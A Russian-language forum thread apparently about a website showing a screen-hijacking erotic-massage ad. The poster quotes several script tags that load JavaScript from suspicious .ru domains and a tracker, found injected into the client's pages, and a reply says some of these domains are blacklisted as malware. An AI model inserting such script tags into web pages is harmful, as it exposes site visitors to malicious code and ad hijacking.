Вирусная реклама, связанная с google tag manager

[Amko4ka]

Столкнулась вчера с такой проблемой - на сайте клиента появляется окно с предложением эротического массажа, вместе с ним весь экран браузера становится ссылкой на сайт vse-prosto, то есть закрыть эту приблуду нельзя - сайт открывается при клике в любую точку экрана.
Полезли копать, обнаружилось, что окно вижу только я (антивирус не стоит, адблокеры выключены), но в любом браузере, включая инкогнито хрома.

На сайте появляется разный код на разных страницах, например

<script type="text/javascript" src="http://tarkita.ru/retarget/PDpxFg42GxYBAgc5DRdEUlUb" async="" charset="utf-8"></script>

<script type="text/javascript" src="http://darangi.ru/visitors/" async="" charset="utf-8"></script>

<script type="text/javascript" src="http://ictowaz.ru/637jwdcoxgc7sx5at042kx5pzdif5mbyp8ee1qoyup0c6bhpgbhr4uz" charset="utf-8"></script>

<script src="http://scafer.ru/85wfifcd5jv8kki5872i526pfc4rt3kgm5jsgjeiu"></script>

<script type="text/javascript" id="" src="http://track.audtd.com/data?id=30990&amp;type=js"></script>

После долгих ковыряний нашелся включенный Google Tag Manager. Убрали его и окна пропали.
Сегодня обнаружила окно ещё на одном сайте. Поиск похожих случаев ничего не дал. Кто-то встречал такое?

[Val_Ery]

Если честно, я чё-то сомневаюсь, что Ваша проблема связана с Google Tag Manager. Потому, что из Ваших слов:

обнаружилось, что окно вижу только я ... , но в любом браузере

нашелся включенный Google Tag Manager. Убрали его и окна пропали.

получается, что он настроен на переадресацию только для Вас...

А вот по поводу приведенных Вами ссылок - fortinet утверждает: "адрес в черном списке, ибо малваря со степенью угрозы = 2" (смотрел первую и четвертую). Может так, может - нет, но я бы смотрел в сторону собственного компа, а не Google Tag Manager.